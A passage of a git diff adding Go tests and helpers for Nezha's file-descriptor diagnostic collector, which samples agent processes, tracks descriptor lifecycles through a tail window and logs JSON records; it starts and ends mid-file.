records[1].AgentOrdinal}) + require.Len(t, logs, 2) + for index, line := range logs { + require.True(t, strings.HasPrefix(line, "agentcompat_fd_diagnostic=")) + var record fdDiagnosticRecord + require.NoError(t, json.Unmarshal([]byte(strings.TrimPrefix(line, "agentcompat_fd_diagnostic=")), &record)) + require.Equal(t, index+1, record.AgentOrdinal) + require.NotEmpty(t, record.Baseline.Samples[0].FDObservations) + require.NotEmpty(t, record.End.Samples[0].FDObservations) + require.NotEmpty(t, record.Tail[0].FDObservations) + require.False(t, record.Baseline.Samples[0].ObservedAt.IsZero()) + require.False(t, record.End.Samples[0].ObservedAt.IsZero()) + require.False(t, record.Tail[0].ObservedAt.IsZero()) + require.Equal(t, "observed_through_tail", record.Lifecycle[0].Status) + } +} + +func fdDiagnosticSetFinalObservations(pair *fdDiagnosticWindowPair, pid int) { + lastSample := len(pair.baseline.Window.Samples) - 1 + pair.baseline.Window.Samples[lastSample].FDObservations = []processharness.FDObservation{{Number: 3, Target: fmt.Sprintf("baseline-%d", pid)}} + pair.end.Window.Samples[lastSample].FDObservations = []processharness.FDObservation{{Number: 4, Target: fmt.Sprintf("added-%d", pid)}} +} + +type fdDiagnosticMemoryLogger struct { + lines *[]string +} + +func (logger *fdDiagnosticMemoryLogger) Logf(format string, arguments ...any) { + *logger.lines = append(*logger.lines, fmt.Sprintf(format, arguments...)) +} diff --git a/integration/agentcompat/internal/scenario/stress_fd_diagnostic_fixture_test.go b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_fixture_test.go new file mode 100644 index 00000000..c10a2054 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_fixture_test.go @@ -0,0 +1,96 @@ +//go:build linux + +package scenario + +import ( + "context" + "fmt" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +type fdDiagnosticWindowPair struct { + baseline fdDiagnosticAgentWindow + end fdDiagnosticAgentWindow +} + +type stressDiagnosticAgentWindowSpec struct { + Ordinal int + PID int + BaselineCount int + EndCount int + Target string + BaselineSampledAt time.Time + EndSampledAt time.Time +} + +type stressDiagnosticProcessWindowSpec struct { + PID int + Count int + Target string + SampledAt time.Time +} + +type stressDiagnosticDashboardWindowSpec struct { + PID int + BaselineCount int + EndCount int +} + +func stressDiagnosticAgentWindow(t *testing.T, spec stressDiagnosticAgentWindowSpec) fdDiagnosticWindowPair { + t.Helper() + if spec.BaselineSampledAt.IsZero() { + spec.BaselineSampledAt = time.Unix(int64(spec.Ordinal), 0).UTC() + } + if spec.EndSampledAt.IsZero() { + spec.EndSampledAt = spec.BaselineSampledAt.Add(time.Minute) + } + agentOrdinal, err := NewStressAgentOrdinal(spec.Ordinal) + require.NoError(t, err) + process, err := NewStressAgentProcess(agentOrdinal, spec.PID) + require.NoError(t, err) + identity := agent.ProcessIdentity{Generation: 1, PID: spec.PID} + return fdDiagnosticWindowPair{ + baseline: fdDiagnosticAgentWindow{Process: process, Identity: identity, Window: stressDiagnosticProcessWindow(stressDiagnosticProcessWindowSpec{PID: spec.PID, Count: spec.BaselineCount, Target: spec.Target, SampledAt: spec.BaselineSampledAt})}, + end: fdDiagnosticAgentWindow{Process: process, Identity: identity, Window: stressDiagnosticProcessWindow(stressDiagnosticProcessWindowSpec{PID: spec.PID, Count: spec.EndCount, Target: spec.Target, SampledAt: spec.EndSampledAt})}, + } +} + +func stressDiagnosticDashboardWindow(t *testing.T, spec stressDiagnosticDashboardWindowSpec) fdDiagnosticWindowPair { + t.Helper() + process, err := NewStressDashboardProcess(spec.PID) + require.NoError(t, err) + return fdDiagnosticWindowPair{ + baseline: fdDiagnosticAgentWindow{Process: process, Window: stressDiagnosticProcessWindow(stressDiagnosticProcessWindowSpec{PID: spec.PID, Count: spec.BaselineCount, Target: "dashboard"})}, + end: fdDiagnosticAgentWindow{Process: process, Window: stressDiagnosticProcessWindow(stressDiagnosticProcessWindowSpec{PID: spec.PID, Count: spec.EndCount, Target: "dashboard"})}, + } +} + +func stressDiagnosticProcessWindow(spec stressDiagnosticProcessWindowSpec) processharness.Window { + samples := make([]processharness.Sample, contract.ResourceSampleCount) + for index := range samples { + samples[index] = processharness.Sample{PID: spec.PID, NonStdioFDCount: spec.Count, FDObservations: []processharness.FDObservation{{Number: 3, Target: spec.Target}}, SampledAt: spec.SampledAt} + } + return processharness.Window{PID: spec.PID, Samples: samples} +} + +func stressDiagnosticSample(ordinal int, observations []processharness.FDObservation) fdDiagnosticSample { + return fdDiagnosticSample{Ordinal: ordinal, FDObservations: observations} +} + +func fdDiagnosticTestSampler(_ context.Context, pid int) (processharness.Sample, error) { + return processharness.Sample{PID: pid, FDObservations: []processharness.FDObservation{{Number: 4, Target: fmt.Sprintf("added-%d", pid)}}, SampledAt: time.Unix(int64(pid), 0).UTC()}, nil +} + +func mustStressPRFullProfile(t *testing.T) contract.Profile { + t.Helper() + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + return profile +} diff --git a/integration/agentcompat/internal/scenario/stress_fd_diagnostic_model_test.go b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_model_test.go new file mode 100644 index 00000000..4a490a80 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_model_test.go @@ -0,0 +1,201 @@ +//go:build linux + +package scenario + +import ( + "sort" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +type fdDiagnosticAgentWindow struct { + Process StressProcessIdentity + Identity agent.ProcessIdentity + Window processharness.Window +} + +type fdDiagnosticCandidate struct { + Baseline fdDiagnosticAgentWindow + End fdDiagnosticAgentWindow +} + +type fdDiagnosticSample struct { + Ordinal int `json:"sample_ordinal"` + PID int `json:"pid"` + RSSBytes uint64 `json:"rss_bytes"` + DescendantPIDs []int `json:"descendant_pids"` + DescendantCount int `json:"descendant_count"` + NonStdioFDCount int `json:"non_stdio_fd_count"` + TCPListenerCount int `json:"tcp_listener_count"` + TCP6ListenerCount int `json:"tcp6_listener_count"` + FDObservations []processharness.FDObservation `json:"fd_observations"` + ObservedAt time.Time `json:"observed_at"` +} + +type fdDiagnosticWindow struct { + PID int `json:"pid"` + Samples []fdDiagnosticSample `json:"samples"` +} + +type fdDiagnosticLifecycle struct { + Observation processharness.FDObservation `json:"observation"` + Status string `json:"status"` + NumberReused bool `json:"number_reused,omitempty"` +} + +type fdDiagnosticRecord struct { + SamplerPID int `json:"sampler_pid"` + AgentOrdinal int `json:"agent_ordinal"` + AgentPID int `json:"agent_pid"` + BaselineGeneration uint64 `json:"baseline_generation"` + BaselinePID int `json:"baseline_pid"` + EndPID int `json:"end_pid"` + EndGeneration uint64 `json:"end_generation"` + Baseline *fdDiagnosticWindow `json:"baseline"` + End *fdDiagnosticWindow `json:"end"` + Tail []fdDiagnosticSample `json:"tail"` + AddedFinal []processharness.FDObservation `json:"added_final"` + RemovedFinal []processharness.FDObservation `json:"removed_final"` + Lifecycle []fdDiagnosticLifecycle `json:"lifecycle"` + LifecycleStatus string `json:"lifecycle_status"` + DiagnosticError string `json:"diagnostic_error,omitempty"` +} + +func fdDiagnosticEnabled(value string) bool { return value == "1" } + +func newFDDiagnosticRecord(candidate fdDiagnosticCandidate, samplerPID int) (fdDiagnosticRecord, bool) { + record := fdDiagnosticRecord{ + SamplerPID: samplerPID, + AgentOrdinal: candidate.Baseline.Process.Agent.Int(), + AgentPID: candidate.Baseline.Identity.PID, + BaselineGeneration: candidate.Baseline.Identity.Generation, + BaselinePID: candidate.Baseline.Identity.PID, + EndPID: candidate.End.Identity.PID, + EndGeneration: candidate.End.Identity.Generation, + Baseline: fdDiagnosticWindowFromProcess(candidate.Baseline.Window), + End: fdDiagnosticWindowFromProcess(candidate.End.Window), + } + if !fdDiagnosticIdentityMatches(candidate) { + record.LifecycleStatus = "process_identity_changed" + return record, false + } + baselineFinal := fdDiagnosticFinalObservations(candidate.Baseline.Window) + endFinal := fdDiagnosticFinalObservations(candidate.End.Window) + record.AddedFinal = fdDiagnosticDifference(endFinal, baselineFinal) + record.RemovedFinal = fdDiagnosticDifference(baselineFinal, endFinal) + record.LifecycleStatus = "tail_pending" + return record, true +} + +func classifyFDDiagnosticLifecycle(added []processharness.FDObservation, tail []fdDiagnosticSample) []fdDiagnosticLifecycle { + result := make([]fdDiagnosticLifecycle, 0, len(added)) + for _, observation := range added { + present := make([]bool, len(tail)) + reused := false + for index, sample := range tail { + for _, tailObservation := range sample.FDObservations { + if tailObservation.Number == observation.Number && tailObservation.Target != observation.Target { + reused = true + } + if tailObservation == observation { + present[index] = true + } + } + } + status := "intermittent_or_reused" + switch { + case reused: + status = "intermittent_or_reused" + case !fdDiagnosticAnyPresent(present): + status = "cleared_before_tail" + case fdDiagnosticAllPresent(present): + status = "observed_through_tail" + case fdDiagnosticPrefixPresent(present): + status = "cleared_during_tail" + } + result = append(result, fdDiagnosticLifecycle{Observation: observation, Status: status, NumberReused: reused}) + } + return result +} + +func fdDiagnosticFinalCount(window processharness.Window) int { + if len(window.Samples) == 0 { + return 0 + } + return window.Samples[len(window.Samples)-1].NonStdioFDCount +} + +func fdDiagnosticIdentityMatches(candidate fdDiagnosticCandidate) bool { + baseline := candidate.Baseline + end := candidate.End + return baseline.Process.PID > 0 && baseline.Process.PID == baseline.Identity.PID && baseline.Identity.PID == baseline.Window.PID && end.Process.PID > 0 && end.Process.PID == end.Identity.PID && end.Identity.PID == end.Window.PID && baseline.Process.PID == end.Process.PID && baseline.Identity.Generation != 0 && baseline.Identity.Generation == end.Identity.Generation +} + +func fdDiagnosticWindowFromProcess(window processharness.Window) *fdDiagnosticWindow { + result := &fdDiagnosticWindow{PID: window.PID, Samples: make([]fdDiagnosticSample, 0, len(window.Samples))} + for index, sample := range window.Samples { + result.Samples = append(result.Samples, fdDiagnosticSample{Ordinal: index + 1, PID: sample.PID, RSSBytes: sample.RSSBytes, DescendantPIDs: append([]int(nil), sample.DescendantPIDs...), DescendantCount: sample.DescendantCount, NonStdioFDCount: sample.NonStdioFDCount, TCPListenerCount: sample.TCPListenerCount, TCP6ListenerCount: sample.TCP6ListenerCount, FDObservations: fdDiagnosticSortedObservations(sample.FDObservations), ObservedAt: sample.SampledAt}) + } + return result +} + +func fdDiagnosticFinalObservations(window processharness.Window) []processharness.FDObservation { + if len(window.Samples) == 0 { + return nil + } + return fdDiagnosticSortedObservations(window.Samples[len(window.Samples)-1].FDObservations) +} + +func fdDiagnosticDifference(left, right []processharness.FDObservation) []processharness.FDObservation { + rightSet := make(map[processharness.FDObservation]struct{}, len(right)) + for _, observation := range right { + rightSet[observation] = struct{}{} + } + result := make([]processharness.FDObservation, 0) + for _, observation := range left { + if _, exists := rightSet[observation]; !exists { + result = append(result, observation) + } + } + return fdDiagnosticSortedObservations(result) +} + +func fdDiagnosticSortedObservations(input []processharness.FDObservation) []processharness.FDObservation { + result := append([]processharness.FDObservation(nil), input...) + sort.Slice(result, func(left, right int) bool { + return result[left].Number < result[right].Number || (result[left].Number == result[right].Number && result[left].Target < result[right].Target) + }) + return result +} + +func fdDiagnosticAllPresent(present []bool) bool { + for _, value := range present { + if !value { + return false + } + } + return true +} + +func fdDiagnosticAnyPresent(present []bool) bool { + for _, value := range present { + if value { + return true + } + } + return false +} + +func fdDiagnosticPrefixPresent(present []bool) bool { + cleared := false + for _, value := range present { + if !value { + cleared = true + } else if cleared { + return false + } + } + return cleared +} diff --git a/integration/agentcompat/internal/scenario/stress_fd_diagnostic_process_helper_fault_test.go b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_process_helper_fault_test.go new file mode 100644 index 00000000..04ff7ec0 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_process_helper_fault_test.go @@ -0,0 +1,38 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func TestFDDiagnosticShell_NextLineReturnsDeadlineWhenOutputStalls(t *testing.T) { + // Given + ctx, cancel := context.WithTimeout(t.Context(), 100*time.Millisecond) + defer cancel() + child := startFDDiagnosticShell(t, t.Context(), "") + defer func() { require.NoError(t, child.close()) }() + + // When + _, err := child.nextLine(ctx) + + // Then + require.ErrorIs(t, err, context.DeadlineExceeded) +} + +func TestFDDiagnosticShell_CloseReapsChildWhenExitWriteFails(t *testing.T) { + // Given + child := startFDDiagnosticShell(t, t.Context(), "") + require.NoError(t, child.input.Close()) + + // When + err := child.close() + + // Then + require.Error(t, err) + require.NotNil(t, child.command.ProcessState) +} diff --git a/integration/agentcompat/internal/scenario/stress_fd_diagnostic_process_integration_test.go b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_process_integration_test.go new file mode 100644 index 00000000..d657d8ed --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_process_integration_test.go @@ -0,0 +1,228 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "bufio" + "context" + "errors" + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "sync" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +const fdDiagnosticShellTargetEnv = "NEZHA_AGENTCOMPAT_FD_DIAGNOSTIC_TARGET" + +func TestFDDiagnosticCollector_TracksChildDescriptorLifecycle(t *testing.T) { + // Given + ctx, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + target := filepath.Join(t.TempDir(), "fd-diagnostic-target") + require.NoError(t, os.WriteFile(target, []byte("target"), 0o600)) + child := startFDDiagnosticShell(t, ctx, target) + defer func() { require.NoError(t, child.close()) }() + identity := agent.ProcessIdentity{Generation: 1, PID: child.command.Process.Pid} + ordinal, err := NewStressAgentOrdinal(1) + require.NoError(t, err) + process, err := NewStressAgentProcess(ordinal, identity.PID) + require.NoError(t, err) + tail := fdDiagnosticChildTailControl{secondStarted: make(chan struct{}), releaseSecond: make(chan struct{})} + collector := newFDDiagnosticCollector(fdDiagnosticCollectorSpec{Enabled: true, TailResultCapacity: 8, TailInterval: 0, Sample: tail.sampler()}) + collector.RecordBaseline(fdDiagnosticChildWindow(t, ctx, process, identity)) + require.NoError(t, child.send("exec 3<\"$"+fdDiagnosticShellTargetEnv+"\"; echo opened")) + opened, err := child.nextLine(ctx) + require.NoError(t, err) + require.Equal(t, "opened", opened) + end := fdDiagnosticChildWindow(t, ctx, process, identity) + + // When + collector.RecordEnd(ctx, end) + tail.waitSecondStart(t, ctx) + require.NoError(t, child.send("exec 3<&-; echo closed")) + closed, err := child.nextLine(ctx) + require.NoError(t, err) + require.Equal(t, "closed", closed) + close(tail.releaseSecond) + records := collector.WaitRecords() + + // Then + require.Len(t, records, 1) + record := records[0] + added := fdDiagnosticObservationTarget(record.AddedFinal, target) + require.NotNil(t, added) + require.Equal(t, "cleared_during_tail", fdDiagnosticLifecycleStatus(record.Lifecycle, *added)) + require.NotNil(t, fdDiagnosticObservationTarget(record.Tail[0].FDObservations, target)) + for _, sample := range record.Tail[1:] { + require.Nil(t, fdDiagnosticObservationTarget(sample.FDObservations, target)) + } + for _, window := range []*fdDiagnosticWindow{record.Baseline, record.End} { + for _, sample := range window.Samples { + require.False(t, sample.ObservedAt.IsZero()) + } + } + for _, sample := range record.Tail { + require.False(t, sample.ObservedAt.IsZero()) + } +} + +type fdDiagnosticShell struct { + command *exec.Cmd + input io.WriteCloser + cancel context.CancelFunc + lines <-chan fdDiagnosticShellLine + waitOnce sync.Once + waitErr error +} + +type fdDiagnosticShellLine struct { + text string + err error +} + +func startFDDiagnosticShell(t *testing.T, ctx context.Context, target string) *fdDiagnosticShell { + t.Helper() + processCtx, cancel := context.WithCancel(ctx) + command := exec.CommandContext(processCtx, "/bin/sh") + command.Env = append(os.Environ(), fdDiagnosticShellTargetEnv+"="+target) + input, err := command.StdinPipe() + require.NoError(t, err) + output, err := command.StdoutPipe() + require.NoError(t, err) + require.NoError(t, command.Start()) + lines := make(chan fdDiagnosticShellLine) + go collectFDDiagnosticShellLines(processCtx, output, lines) + return &fdDiagnosticShell{command: command, input: input, cancel: cancel, lines: lines} +} + +func collectFDDiagnosticShellLines(ctx context.Context, output io.Reader, lines chan<- fdDiagnosticShellLine) { + defer close(lines) + scanner := bufio.NewScanner(output) + for scanner.Scan() { + select { + case lines <- fdDiagnosticShellLine{text: scanner.Text()}: + case <-ctx.Done(): + return + } + } + if err := scanner.Err(); err != nil { + select { + case lines <- fdDiagnosticShellLine{err: err}: + case <-ctx.Done(): + } + } +} + +func (child *fdDiagnosticShell) close() error { + sendErr := child.send("exit") + var killErr error + if sendErr != nil { + killErr = child.command.Process.Kill() + } + waitErr := child.wait() + if sendErr == nil { + return waitErr + } + if errors.Is(killErr, os.ErrProcessDone) { + killErr = nil + } + if killErr == nil { + return sendErr + } + return errors.Join(sendErr, killErr, waitErr) +} + +func (child *fdDiagnosticShell) wait() error { + child.waitOnce.Do(func() { + child.waitErr = child.command.Wait() + child.cancel() + }) + return child.waitErr +} + +func (child *fdDiagnosticShell) send(command string) error { + _, err := fmt.Fprintln(child.input, command) + return err +} + +func (child *fdDiagnosticShell) nextLine(ctx context.Context) (string, error) { + if err := ctx.Err(); err != nil { + return "", err + } + select { + case line, open := <-child.lines: + if err := ctx.Err(); err != nil { + return "", err + } + if !open { + return "", io.EOF + } + return line.text, line.err + case <-ctx.Done(): + return "", ctx.Err() + } +} + +type fdDiagnosticChildTailControl struct { + secondStarted chan struct{} + releaseSecond chan struct{} +} + +func (control fdDiagnosticChildTailControl) sampler() fdDiagnosticSampleFunc { + calls := 0 + return func(ctx context.Context, pid int) (processharness.Sample, error) { + calls++ + if calls == 2 { + close(control.secondStarted) + select { + case <-control.releaseSecond: + case <-ctx.Done(): + return processharness.Sample{}, ctx.Err() + } + } + return processharness.SampleProcessWithFDObservations(pid) + } +} + +func (control fdDiagnosticChildTailControl) waitSecondStart(t *testing.T, ctx context.Context) { + t.Helper() + select { + case <-control.secondStarted: + case <-ctx.Done(): + t.Fatal(ctx.Err()) + } +} + +func fdDiagnosticChildWindow(t *testing.T, ctx context.Context, process StressProcessIdentity, identity agent.ProcessIdentity) fdDiagnosticAgentWindow { + t.Helper() + window, err := processharness.SampleWindow(ctx, processharness.WindowSpec{PID: identity.PID, Interval: time.Nanosecond, CaptureFDObservations: true}) + require.NoError(t, err) + return fdDiagnosticAgentWindow{Process: process, Identity: identity, Window: window} +} + +func fdDiagnosticObservationTarget(observations []processharness.FDObservation, target string) *processharness.FDObservation { + for _, observation := range observations { + if observation.Target == target { + return &observation + } + } + return nil +} + +func fdDiagnosticLifecycleStatus(lifecycle []fdDiagnosticLifecycle, observation processharness.FDObservation) string { + for _, entry := range lifecycle { + if entry.Observation == observation { + return entry.Status + } + } + return "" +} diff --git a/integration/agentcompat/internal/scenario/stress_fd_diagnostic_tail_support_test.go b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_tail_support_test.go new file mode 100644 index 00000000..0b270b96 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_tail_support_test.go @@ -0,0 +1,208 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "encoding/json" + "os" + "sort" + "sync" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +const fdDiagnosticTailSampleCount = 20 + +type fdDiagnosticSampleFunc func(context.Context, int) (processharness.Sample, error) + +type fdDiagnosticLogger interface { + Logf(string, ...any) +} + +type fdDiagnosticCollectorSpec struct { + Enabled bool + SamplerPID int + TailResultCapacity int + TailInterval time.Duration + Sample fdDiagnosticSampleFunc +} + +type fdDiagnosticTailResult struct { + AgentOrdinal int + Samples []fdDiagnosticSample + Err error +} + +type fdDiagnosticTailSpec struct { + Context context.Context + PID int + Interval time.Duration + Sample fdDiagnosticSampleFunc + FirstSampleComplete chan<- struct{} +} + +type fdDiagnosticCollector struct { + enabled bool + samplerID int + interval time.Duration + sample fdDiagnosticSampleFunc + baseline map[int]fdDiagnosticAgentWindow + records map[int]fdDiagnosticRecord + results chan fdDiagnosticTailResult + started int + waitOnce sync.Once + logOnce sync.Once + completed []fdDiagnosticRecord +} + +func newFDDiagnosticCollector(spec fdDiagnosticCollectorSpec) *fdDiagnosticCollector { + capacity := spec.TailResultCapacity + if capacity < contract.PRFullAgentCount { + capacity = contract.PRFullAgentCount + } + return &fdDiagnosticCollector{ + enabled: spec.Enabled, + samplerID: spec.SamplerPID, + interval: spec.TailInterval, + sample: spec.Sample, + baseline: make(map[int]fdDiagnosticAgentWindow), + records: make(map[int]fdDiagnosticRecord), + results: make(chan fdDiagnosticTailResult, capacity), + } +} + +func newRealFDDiagnosticCollector(enabled bool) *fdDiagnosticCollector { + return newFDDiagnosticCollector(fdDiagnosticCollectorSpec{ + Enabled: enabled, + SamplerPID: os.Getpid(), + TailResultCapacity: contract.PRFullAgentCount, + TailInterval: contract.ResourceSampleInterval, + Sample: func(_ context.Context, pid int) (processharness.Sample, error) { + return processharness.SampleProcessWithFDObservations(pid) + }, + }) +} + +func (collector *fdDiagnosticCollector) Enabled() bool { return collector != nil && collector.enabled } + +func (collector *fdDiagnosticCollector) RecordBaseline(window fdDiagnosticAgentWindow) { + if collector.Enabled() && window.Process.Kind == StressProcessAgent { + collector.baseline[window.Process.Agent.Int()] = window + } +} + +func (collector *fdDiagnosticCollector) RecordEnd(ctx context.Context, window fdDiagnosticAgentWindow) { + if !collector.Enabled() || window.Process.Kind != StressProcessAgent { + return + } + baseline, exists := collector.baseline[window.Process.Agent.Int()] + if !exists || fdDiagnosticFinalCount(baseline.Window) == fdDiagnosticFinalCount(window.Window) { + return + } + record, startTail := newFDDiagnosticRecord(fdDiagnosticCandidate{Baseline: baseline, End: window}, collector.samplerID) + collector.records[record.AgentOrdinal] = record + if !startTail { + return + } + collector.started++ + firstSampleComplete := make(chan struct{}) + tailSpec := fdDiagnosticTailSpec{Context: ctx, PID: record.AgentPID, Interval: collector.interval, Sample: collector.sample, FirstSampleComplete: firstSampleComplete} + go func(ordinal int) { + result := collectFDDiagnosticTail(tailSpec) + result.AgentOrdinal = ordinal + collector.results <- result + }(record.AgentOrdinal) + select { + case <-firstSampleComplete: + case <-ctx.Done(): + } +} + +func (collector *fdDiagnosticCollector) WaitRecords() []fdDiagnosticRecord { + if !collector.Enabled() { + return nil + } + collector.waitOnce.Do(func() { + for range collector.started { + result := <-collector.results + record := collector.records[result.AgentOrdinal] + record.Tail = result.Samples + if result.Err != nil { + record.DiagnosticError = result.Err.Error() + record.LifecycleStatus = "tail_error" + } else { + record.Lifecycle = classifyFDDiagnosticLifecycle(record.AddedFinal, record.Tail) + record.LifecycleStatus = "tail_complete" + } + collector.records[result.AgentOrdinal] = record + } + collector.completed = make([]fdDiagnosticRecord, 0, len(collector.records)) + for _, record := range collector.records { + collector.completed = append(collector.completed, record) + } + sort.Slice(collector.completed, func(left, right int) bool { + return collector.completed[left].AgentOrdinal < collector.completed[right].AgentOrdinal + }) + }) + return append([]fdDiagnosticRecord(nil), collector.completed...) +} + +// The real collector is directly logger-injectable so tests exercise candidate selection and logging without shadow copies. +func (collector *fdDiagnosticCollector) WaitAndLog(logger fdDiagnosticLogger) { + if !collector.Enabled() { + return + } + collector.logOnce.Do(func() { + for _, record := range collector.WaitRecords() { + encoded, err := json.Marshal(record) + if err != nil { + logger.Logf("agentcompat_fd_diagnostic={\"diagnostic_error\":%q}", err.Error()) + continue + } + logger.Logf("agentcompat_fd_diagnostic=%s", encoded) + } + }) +} + +func collectFDDiagnosticTail(spec fdDiagnosticTailSpec) fdDiagnosticTailResult { + result := fdDiagnosticTailResult{Samples: make([]fdDiagnosticSample, 0, fdDiagnosticTailSampleCount)} + signalFirstSampleComplete := func() { + if spec.FirstSampleComplete != nil { + close(spec.FirstSampleComplete) + spec.FirstSampleComplete = nil + } + } + for index := 0; index < fdDiagnosticTailSampleCount; index++ { + if index > 0 { + timer := time.NewTimer(spec.Interval) + select { + case <-timer.C: + case <-spec.Context.Done(): + timer.Stop() + result.Err = spec.Context.Err() + return result + } + } + if err := spec.Context.Err(); err != nil { + signalFirstSampleComplete() + result.Err = err + return result + } + processSample, err := spec.Sample(spec.Context, spec.PID) + if err != nil { + signalFirstSampleComplete() + result.Err = err + return result + } + result.Samples = append(result.Samples, fdDiagnosticSampleFromProcess(index+1, processSample)) + signalFirstSampleComplete() + } + return result +} + +func fdDiagnosticSampleFromProcess(ordinal int, sample processharness.Sample) fdDiagnosticSample { + return fdDiagnosticSample{Ordinal: ordinal, PID: sample.PID, RSSBytes: sample.RSSBytes, DescendantPIDs: append([]int(nil), sample.DescendantPIDs...), DescendantCount: sample.DescendantCount, NonStdioFDCount: sample.NonStdioFDCount, TCPListenerCount: sample.TCPListenerCount, TCP6ListenerCount: sample.TCP6ListenerCount, FDObservations: fdDiagnosticSortedObservations(sample.FDObservations), ObservedAt: sample.SampledAt} +} diff --git a/integration/agentcompat/internal/scenario/stress_fd_diagnostic_tail_test.go b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_tail_test.go new file mode 100644 index 00000000..3bea2e83 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_tail_test.go @@ -0,0 +1,160 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "sync" + "testing" + "time" + + "github.com/stretchr/testify/require" + + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +func TestFDDiagnosticCollector_StartsOverlappingTailsInOrdinalOrder(t *testing.T) { + // Given + ctx, cancel := context.WithCancel(t.Context()) + defer cancel() + firstStarts := make(chan int, 2) + secondStarts := make(chan int, 2) + completed := make(chan int, 2) + release := map[int]chan struct{}{101: make(chan struct{}), 102: make(chan struct{})} + counts := make(map[int]int) + var countsMu sync.Mutex + collector := newFDDiagnosticCollector(fdDiagnosticCollectorSpec{ + Enabled: true, + SamplerPID: 900, + TailResultCapacity: 8, + TailInterval: 0, + Sample: func(ctx context.Context, pid int) (processharness.Sample, error) { + countsMu.Lock() + counts[pid]++ + ordinal := counts[pid] + countsMu.Unlock() + if ordinal == 1 { + firstStarts <- pid + } + if ordinal == 2 { + secondStarts <- pid + select { + case <-release[pid]: + case <-ctx.Done(): + return processharness.Sample{}, ctx.Err() + } + } + if ordinal == 20 { + completed <- pid + } + return processharness.Sample{PID: pid, FDObservations: []processharness.FDObservation{{Number: 3, Target: "tail"}}, SampledAt: time.Unix(int64(ordinal), 0).UTC()}, nil + }, + }) + pairOne := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 9, Target: "one"}) + pairTwo := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 2, PID: 102, BaselineCount: 8, EndCount: 9, Target: "two"}) + collector.RecordBaseline(pairOne.baseline) + collector.RecordBaseline(pairTwo.baseline) + + // When + collector.RecordEnd(ctx, pairOne.end) + require.Equal(t, 101, <-firstStarts) + require.Equal(t, 101, <-secondStarts) + collector.RecordEnd(ctx, pairTwo.end) + require.Equal(t, 102, <-firstStarts) + require.Equal(t, 102, <-secondStarts) + close(release[102]) + require.Equal(t, 102, <-completed) + close(release[101]) + require.Equal(t, 101, <-completed) + records := collector.WaitRecords() + + // Then + require.Len(t, records, 2) + require.Equal(t, 1, records[0].AgentOrdinal) + require.Equal(t, 2, records[1].AgentOrdinal) + for _, record := range records { + require.Len(t, record.Tail, 20) + require.Equal(t, 1, record.Tail[0].Ordinal) + require.Equal(t, 20, record.Tail[19].Ordinal) + require.Equal(t, time.Unix(1, 0).UTC(), record.Tail[0].ObservedAt) + require.Equal(t, time.Unix(20, 0).UTC(), record.Tail[19].ObservedAt) + require.Equal(t, "tail_complete", record.LifecycleStatus) + } +} + +func TestFDDiagnosticCollector_DoesNotSampleWhenDisabled(t *testing.T) { + // Given + called := false + collector := newFDDiagnosticCollector(fdDiagnosticCollectorSpec{ + Enabled: false, + Sample: func(context.Context, int) (processharness.Sample, error) { + called = true + return processharness.Sample{}, nil + }, + }) + pair := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 9, Target: "disabled"}) + + // When + collector.RecordBaseline(pair.baseline) + collector.RecordEnd(t.Context(), pair.end) + records := collector.WaitRecords() + + // Then + require.False(t, called) + require.Empty(t, records) +} + +func TestFDDiagnosticCollector_NilReceiverIsDisabled(t *testing.T) { + // Given + var collector *fdDiagnosticCollector + pair := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 9, Target: "nil"}) + + // When / Then + require.NotPanics(t, func() { + require.False(t, collector.Enabled()) + collector.RecordBaseline(pair.baseline) + collector.RecordEnd(t.Context(), pair.end) + require.Empty(t, collector.WaitRecords()) + }) +} + +func TestFDDiagnosticTail_UsesConfiguredTimerIntervalAfterFirstSample(t *testing.T) { + // Given + ctx, cancel := context.WithCancel(t.Context()) + defer cancel() + firstSample := make(chan struct{}, 1) + sampler := func(context.Context, int) (processharness.Sample, error) { + firstSample <- struct{}{} + return processharness.Sample{PID: 101}, nil + } + + // When + result := make(chan fdDiagnosticTailResult, 1) + go func() { + result <- collectFDDiagnosticTail(fdDiagnosticTailSpec{Context: ctx, PID: 101, Interval: time.Hour, Sample: sampler}) + }() + <-firstSample + cancel() + tail := <-result + + // Then 